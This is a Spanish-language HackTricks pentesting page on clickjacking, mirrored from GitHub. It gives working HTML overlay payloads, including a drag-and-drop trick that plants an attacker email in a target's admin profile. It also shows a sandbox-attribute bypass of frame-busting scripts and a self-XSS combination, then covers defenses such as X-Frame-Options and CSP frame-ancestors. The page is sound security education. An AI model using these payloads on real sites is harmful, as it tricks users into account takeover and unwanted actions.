mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
191 lines
13 KiB
Markdown
191 lines
13 KiB
Markdown
|
# Clickjacking
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||
|
Obtén acceso hoy:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
|
||
|
## ¿Qué es Clickjacking?
|
||
|
|
||
|
Clickjacking es un ataque que **engaña** a un **usuario** para que **haga clic** en un **elemento** de una página web que está **invisible** o disfrazado como otro elemento. Esto puede hacer que los usuarios descarguen malware sin saberlo, visiten páginas web maliciosas, proporcionen credenciales o información confidencial, transfieran dinero o compren productos en línea. (De [aquí](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||
|
|
||
|
### Truco de prellenado de formularios
|
||
|
|
||
|
A veces es posible **rellenar el valor de los campos de un formulario usando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar.
|
||
|
|
||
|
### Rellenar un formulario con Drag\&Drop
|
||
|
|
||
|
Si necesitas que el usuario **rellene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), puedes pedirle que **arrastrar y soltar** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||
|
|
||
|
### Payload básico
|
||
|
```markup
|
||
|
<style>
|
||
|
iframe {
|
||
|
position:relative;
|
||
|
width: 500px;
|
||
|
height: 700px;
|
||
|
opacity: 0.1;
|
||
|
z-index: 2;
|
||
|
}
|
||
|
div {
|
||
|
position:absolute;
|
||
|
top:470px;
|
||
|
left:60px;
|
||
|
z-index: 1;
|
||
|
}
|
||
|
</style>
|
||
|
<div>Click me</div>
|
||
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||
|
```
|
||
|
### Carga útil de múltiples pasos
|
||
|
```markup
|
||
|
<style>
|
||
|
iframe {
|
||
|
position:relative;
|
||
|
width: 500px;
|
||
|
height: 500px;
|
||
|
opacity: 0.1;
|
||
|
z-index: 2;
|
||
|
}
|
||
|
.firstClick, .secondClick {
|
||
|
position:absolute;
|
||
|
top:330px;
|
||
|
left:60px;
|
||
|
z-index: 1;
|
||
|
}
|
||
|
.secondClick {
|
||
|
left:210px;
|
||
|
}
|
||
|
</style>
|
||
|
<div class="firstClick">Click me first</div>
|
||
|
<div class="secondClick">Click me next</div>
|
||
|
<iframe src="https://vulnerable.net/account"></iframe>
|
||
|
```
|
||
|
### Carga útil de arrastrar y soltar + clic
|
||
|
```markup
|
||
|
<html>
|
||
|
<head>
|
||
|
<style>
|
||
|
#payload{
|
||
|
position: absolute;
|
||
|
top: 20px;
|
||
|
}
|
||
|
iframe{
|
||
|
width: 1000px;
|
||
|
height: 675px;
|
||
|
border: none;
|
||
|
}
|
||
|
.xss{
|
||
|
position: fixed;
|
||
|
background: #F00;
|
||
|
}
|
||
|
</style>
|
||
|
</head>
|
||
|
<body>
|
||
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
||
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
||
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
||
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
||
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
||
|
</body>
|
||
|
</html>
|
||
|
```
|
||
|
### XSS + Clickjacking
|
||
|
|
||
|
Si has identificado un ataque **XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable a clickjacking**, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.\
|
||
|
Ejemplo:\
|
||
|
_Has encontrado un **auto XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes establecer y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** a **Clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._\
|
||
|
\_\_Un atacante podría preparar un ataque de **Clickjacking** a esa página **prellenando** el **formulario** con el **payload XSS** y **engañando** al **usuario** para que **envíe** el formulario. Así, **cuando se envía el formulario** y se modifican los valores, el **usuario ejecutará el XSS**.
|
||
|
|
||
|
## Cómo evitar el Clickjacking
|
||
|
|
||
|
### Defensas del lado del cliente
|
||
|
|
||
|
Es posible ejecutar scripts en el lado del cliente que realicen algunos o todos los siguientes comportamientos para prevenir el Clickjacking:
|
||
|
|
||
|
* comprobar y hacer cumplir que la ventana de la aplicación actual es la ventana principal o superior,
|
||
|
* hacer que todos los marcos sean visibles,
|
||
|
* evitar hacer clic en marcos invisibles,
|
||
|
* interceptar y marcar posibles ataques de clickjacking en un usuario.
|
||
|
|
||
|
#### Bypass
|
||
|
|
||
|
Como los rompe marcos son JavaScript, la configuración de seguridad del navegador puede impedir su funcionamiento o incluso el navegador podría no admitir JavaScript. Una solución efectiva para el atacante contra los rompe marcos es usar el **atributo HTML5 iframe `sandbox`**. Cuando se establece con los valores `allow-forms` o `allow-scripts` y se omite el valor `allow-top-navigation`, el script del rompe marcos puede ser neutralizado ya que el iframe no puede comprobar si es o no la ventana superior:
|
||
|
```markup
|
||
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||
|
```
|
||
|
Tanto los valores `allow-forms` como `allow-scripts` permiten las acciones especificadas dentro del iframe, pero la navegación de nivel superior está deshabilitada. Esto inhibe los comportamientos de frame busting mientras permite la funcionalidad dentro del sitio objetivo.
|
||
|
|
||
|
Dependiendo del tipo de ataque de Clickjacking realizado, **también puede ser necesario permitir**: `allow-same-origin` y `allow-modals` o [incluso más](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Al preparar el ataque, simplemente revise la consola del navegador, ya que puede indicarle qué otros comportamientos debe permitir.
|
||
|
|
||
|
### X-Frame-Options
|
||
|
|
||
|
El encabezado de respuesta HTTP **`X-Frame-Options`** se puede utilizar para indicar si un navegador debe o no **permitir** que se represente una página en un `<frame>` o `<iframe>`. Los sitios pueden usar esto para evitar ataques de Clickjacking, asegurando que **su contenido no se incruste en otros sitios**. Establezca el encabezado **`X-Frame-Options`** para todas las respuestas que contengan contenido HTML. Los posibles valores son:
|
||
|
|
||
|
* `X-Frame-Options: deny` que **impide que cualquier dominio enmarque el contenido** (_valor recomendado_).
|
||
|
* `X-Frame-Options: sameorigin` que solo **permite que el sitio actual** enmarque el contenido.
|
||
|
* `X-Frame-Options: allow-from https://trusted.com` que **permite que el 'uri' especificado** enmarque esta página.
|
||
|
* Verifique las limitaciones a continuación porque **esto fallará si el navegador no lo admite**.
|
||
|
* Otros navegadores admiten la nueva directiva **CSP frame-ancestors en su lugar**. Algunos admiten ambos.
|
||
|
|
||
|
### Directiva de ancestros de marco de la Política de seguridad de contenido (CSP)
|
||
|
|
||
|
La **protección recomendada contra Clickjacking** es incorporar la directiva **`frame-ancestors`** en la Política de seguridad de contenido de la aplicación.\
|
||
|
La directiva **`frame-ancestors 'none'`** es similar en comportamiento a la directiva **X-Frame-Options `deny`** (_Nadie puede enmarcar la página_).\
|
||
|
La directiva **`frame-ancestors 'self'`** es ampliamente equivalente a la directiva **X-Frame-Options `sameorigin`** (_solo el sitio actual puede enmarcarlo_).\
|
||
|
La directiva **`frame-ancestors trusted.com`** es ampliamente equivalente a la directiva **X-Frame-Options** `allow-from` (_solo el sitio de confianza puede enmarcarlo_).
|
||
|
|
||
|
La siguiente lista blanca de CSP enmarca los marcos solo en el mismo dominio:
|
||
|
|
||
|
`Content-Security-Policy: frame-ancestors 'self';`
|
||
|
|
||
|
Consulte la siguiente documentación para obtener más detalles y ejemplos más complejos:
|
||
|
|
||
|
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
|
||
|
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
||
|
|
||
|
### Limitaciones <a href="#limitations" id="limitations"></a>
|
||
|
|
||
|
* **Compatibilidad del navegador:** Los ancestros de marco de CSP no son compatibles con todos los principales navegadores todavía.
|
||
|
* **X-Frame-Options tiene prioridad:** [Sección "Relación con X-Frame-Options" de la especificación CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dice: "_Si un recurso se entrega con una política que incluye una directiva llamada frame-ancestors y cuya disposición es "imponer", entonces el encabezado X-Frame-Options DEBE ser ignorado_", pero Chrome 40 y Firefox 35 ignoran la directiva frame-ancestors y siguen el encabezado X-Frame-Options en su lugar.
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||
|
|
||
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Use [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
|
||
|
Obtenga acceso hoy:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||
|
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|